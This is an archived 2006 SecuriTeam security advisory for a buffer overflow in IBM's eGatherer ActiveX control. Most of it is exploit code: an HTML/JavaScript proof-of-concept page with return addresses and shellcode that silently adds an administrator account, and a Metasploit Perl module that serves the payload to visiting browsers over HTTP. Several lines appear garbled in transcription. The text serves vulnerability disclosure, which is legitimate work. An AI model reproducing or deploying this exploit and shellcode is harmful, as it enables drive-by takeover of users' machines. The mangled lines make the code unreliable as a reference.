

[UNIX] IBM eGatherer ActiveX Code Execution (PoC, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-08/msg00113.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 31 Aug 2006 18:55:12 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

IBM eGatherer ActiveX Code Execution (PoC, Exploit)

SUMMARY

eGatherer ActiveX control is typically installed by default on IBM workstations and laptops, and is used by default for auto-finding drivers/updates on IBM's/Lenovo's support site.

A security vulnerability exists in IBM's eGatherer ActiveX control.

DETAILS

Proof of concept:

```
<html>
<!--
[ISR] Infobyte Security Research
www.infobyte.com.ar
PoC IBM eGatherer Active
Author: Francisco Amato
-->
<head>
<title>IBM&ISS congratulation</title>
```

[UNIX] IBM eGatherer ActiveX Code Execution (PoC, Exploit)

```
</head>
<object classid='clsid:74FFE28D-2378-11D5-990C-006094235084'
id='notCompromising'></object>
<script>
var buff="";
for (i=0;i<260;i++) buff=buff+unescape("%90"); //padding
//75041111 .data WS2_32.DLL
buff=buff+unescape("%11%11%04%75"); //.data
buff=buff+unescape("%11%11%04%75"); //.data
for (i=0;i<12;i++) buff=buff+unescape("%90"); //padding
//7CE4F8A6 CALL ESP ole32.dll
buff=buff+unescape("%b6%e1%e8%7c"); //write eip
buff=buff+unescape("%b6%e1%e8%7c"); //write eip
for (i=0;i<80;i++) buff=buff+unescape("%90"); //padding
//JMP safe ? shellcode
buff=buff+unescape("%E9%FD%FA%FF%FF"); //adduser
for (i=0;i<80;i++) buff=buff+unescape("%90"); //padding

//shellcode adduser shellcode user:hax0r pass:vete
buff=buff+unescape("%31%c9%66%b9%30%72%51%68%20%68%61%78%68%2f%41%44
%44%68%72%65%73%20%68%72%61%64%6f%68%6e%69%73%74%68%41%64%6d%69
%68%6f%75%70%20%68%61%6c%67%72%68%20%6c%6f%63%68%20%6e%65%74%68%44
%20%26%26%68%20%2f%41%44%68%76%65%74%65%68%78%30%72%20%68%72%20
%68%61%68%20%75%73%65%68%20%6e%65%74%68%65%20%2f%63%68%64%2e%65
%78%68%41%41%63%6d%31%c0%50%31%c0%8d%4c%24%06%51%bb%fa%74%59%7c
%ff%d3%31%c0%50%bb%be%69%47%79%ff%d3");

for (i=0;i<50;i++)buff=buff+unescape("%90"); //shit

var comp = document.getElementById('notCompromising');
comp.RunEgatherer(buff);

</script>

</body>
</html>
```

Metasploit module:

```
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
```

```
package Msf::Exploit::ibm_egatherer;
```

```
use strict;
```

[UNIX] IBM eGatherer ActiveX Code Execution (PoC, Exploit)

[UNIX] IBM eGatherer ActiveX Code Execution (PoC, Exploit)

```
use base "Msf::Exploit";
use Pex::Text;
use Msf::Encoder;
use IO::Socket::INET;
use IPC::Open3;

my $advanced =
{
};

my $info =
{
'Name' => 'IBM eGatherer ActiveX Code Execution Vulnerability',
'Version' => '$Revision: 1 $',
'Authors' =>
[
'Francisco Amato <famato [at] infobyte.com.ar> [ISR]
www.infobyte.com.ar',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a code execution vulnerability in the IBM
eGatherer ActiveX buffer overflow.
}),
'Arch' => [ 'x86' ],
'OS' => ['win32', 'win2000' ],

'Priv' => 0,

'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},

'AutoOpts' =>
{
'GETPCTYPE' => 'ebx'
},
'Payload' =>
{
'Space' => 700,
'BadChars' =>
"\x00\x88\x8e\x89\x83\x96\x98\x91\x80\x9f\x93\x97\x8c\x99\x9c\x9b\x92", #
data is downcased
'Keys' => ['+alphanum'],
},
'Refs' =>
```

[UNIX] IBM eGatherer ActiveX Code Execution (PoC, Exploit)

```
[
['OSVDB', '27976'],
['CVE', 'CVE-2006-4221'],
['BID', '19554'],
['URL',
'http://research.eeye.com/html/advisories/published/AD20060816.html'],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Windows 2000 SP4 English version', 0x75041111, 0x7CE8E1B6 ]
# [ 'Windows 2000 SP4 English version', 0x41414141, 0x7CE8E1B6 ] test
# 75032DB6
#//7CE8E1B6 CALL ole32.dll
#//75041111 .data WS2_32.DLL
],

'Keys' => [ 'ibm' ],

'DisclosureDate' => 'Aug 16 2006',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;

# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[ - ] Failed to create local HTTP listener on " .
$self->GetVar('HTTPPORT'));
return;
}

my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
```

[UNIX] IBM eGatherer ActiveX Code Execution (PoC, Exploit)

```
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');

$self->PrintLine("[*] Waiting for connections to http://. $httphost
:". $self->GetVar('HTTPPORT') ."");

while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new from socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my $fd = shift;

# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;

# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {

$line =~ s/^\s+|\s+$//g;

my ($var, $val) = split(/:/, $line, 2);

# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));

$agent = $val if $var =~ /User-Agent/i;
}

my $os = 'Unknown';
my $vl = ($agent =~ m/Windows/) ? 'Vulnerable' : 'Not Vulnerable';

$os = 'Linux' if $agent =~ /Linux/i;
$os = 'Mac OS X' if $agent =~ /OS X/i;
$os = 'Windows' if $agent =~ /Windows/i;

$self->PrintLine("[*] Client connected from $rhost:$rport ($os/$vl).");

if ($os ne 'Windows') {
$self->PrintLine("[*] Invalid target for this exploit. trying
```

[UNIX] IBM eGatherer ActiveX Code Execution (PoC, Exploit)

```
anyways...");
} else {
$self->PrintLine("[*] Sending payload and waiting for execution...");
}

my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));

$fd->Close();
}

sub JSUnescape2 {
#TODO: add to Pex:Utils:JSUnescape like type of mode
my $data = shift;
my $mode = shift() || 'LE';
my $code = "";

# Encode the shellcode via %u sequences for JS's unescape()
function
my $idx = 0;

# Pad to an even number of bytes
if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}

while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%%2x%%%2x', $c2, $c1);
} else {
$code .= sprintf('%%%2x%%%2x', $c1, $c2);
}
$idx += 2;
}

return $code;
}

sub GenerateHTML {
my $self = shift;
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = JSUnescape2($self->GetVar('EncodedPayload')->Payload,
'RE');
my $offsetdata = JSUnescape2(pack('V', $target->[1]), 'R');
my $offsetesp = JSUnescape2(pack('V', $target->[2]), 'R');

#adduser. user: hax0r pass: vete
my $shellcode = '%31%c9%66%b9%30%72%51%68%20%68%61%78%68%2f%41%44%44%68
%72%65%73%20%68%72%61%64%6f%68%6e%69%73%74%68%41%64%6d%69%68%6f%75
```

[UNIX] IBM eGatherer ActiveX Code Execution (PoC, Exploit)

```
%70%20%68%61%6c%67%72%68%20%6c%6f%63%68%20%6e%65%74%68%44%20%26%26%68%20%2f%41%44%68%76%65%74%65%68%78%30%72%20%68%72%20%68%61%68%20%75%73%65%68%20%6e%65%74%68%65%20%2f%63%68%64%2e%65%78%68%41%41%63%6d%31%c0%50%31%c0%8d%4c%24%06%51%bb%fa%74%59%7c%ff%d3%31%c0%50%bb%be%69%47%79%ff%d3':
```

```
#$self->PrintLine($shellcode2);
```

```
#my $shellcode = $shellcode2;
```

```
my $data = qq#
```

```
<html>
```

```
<head>
```

```
<title>IBM&ISS congratulation</title>
```

```
</head>
```

```
<object classid='clsid:74FFE28D-2378-11D5-990C-006094235084'
```

```
id='notCompromising'></object>
```

```
<script>
```

```
var buff="";
```

```
for (i=0;i<260;i++) buff=buff+unescape("%90");//padding
```

```
//75041111 .data WS2_32.DLL
```

```
buff=buff+unescape("$offsetdata");//.data
```

```
buff=buff+unescape("$offsetdata");//.data
```

```
for (i=0;i<12;i++) buff=buff+unescape("%90");//padding
```

```
//7CE4F8A6 CALL ESP ole32.dll
```

```
buff=buff+unescape("$offsetesp");//write eip
```

```
buff=buff+unescape("$offsetesp");//write eip
```

```
for (i=0;i<80;i++) buff=buff+unescape("%90");//padding
```

```
//JMP safe ? shellcode
```

```
buff=buff+unescape("%E9%FD%FA%FF%FF");//adduser
```

```
//buff=buff+unescape("%E9%2B%F8%FF%FF");//size 500
```

```
//buff=buff+unescape("%E9%AF%F6%FF%FF");//size 700
```

```
for (i=0;i<80;i++) buff=buff+unescape("%90");//padding
```

```
//shellcode TODO: copy writeable memory
```

```
buff=buff+unescape("$shellcode");
```

```
for (i=0;i<50;i++)buff=buff+unescape("%90");//shit
```

```
var comp = document.getElementById('notCompromising');
```

```
comp.RunEgaterer(buff);
```

```
//alert(buff);
```

```
</script>
```

```
</body>
```

```
</html>
```

```
#;
```

```
return $data;
```

```
};
```

[UNIX] IBM eGatherer ActiveX Code Execution (PoC, Exploit)

```
sub BuildResponse {
my ($self, $content) = @ :

my $response =
"HTTP/1.1 200 OK\r\n".
"Content-Type: text/html\r\n";

if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= "Content-Length: " . length($content) . "\r\n".
"Connection: close\r\n";
}

$response .= "\r\n" . $content;

return $response;
}

sub Chunk {
my ($self, $content) = @ :

my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), "");
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";

return $chunked;
}

sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;

my($wtr, $rdr, $err);

my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;

return (<$rdr>);
}
```

1:

ADDITIONAL INFORMATION

The information has been provided by <mailto:famato@xxxxxxxxxxxxxxxx>
Francisco Amato.

The original article can be found at:
<http://www.infobyte.com.ar/development.html>
http://www.infobyte.com.ar/development.html

Related article(s):

<http://www.securiteam.com/windowsntfocus/5BP0E20D5Q.html> IBM Access
Support (eGatherer) Activex Dangerous Methods Vulnerability
<http://www.securiteam.com/windowsntfocus/5QP0N0UJFI.html> IBM eGatherer
ActiveX Code Execution Vulnerability

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.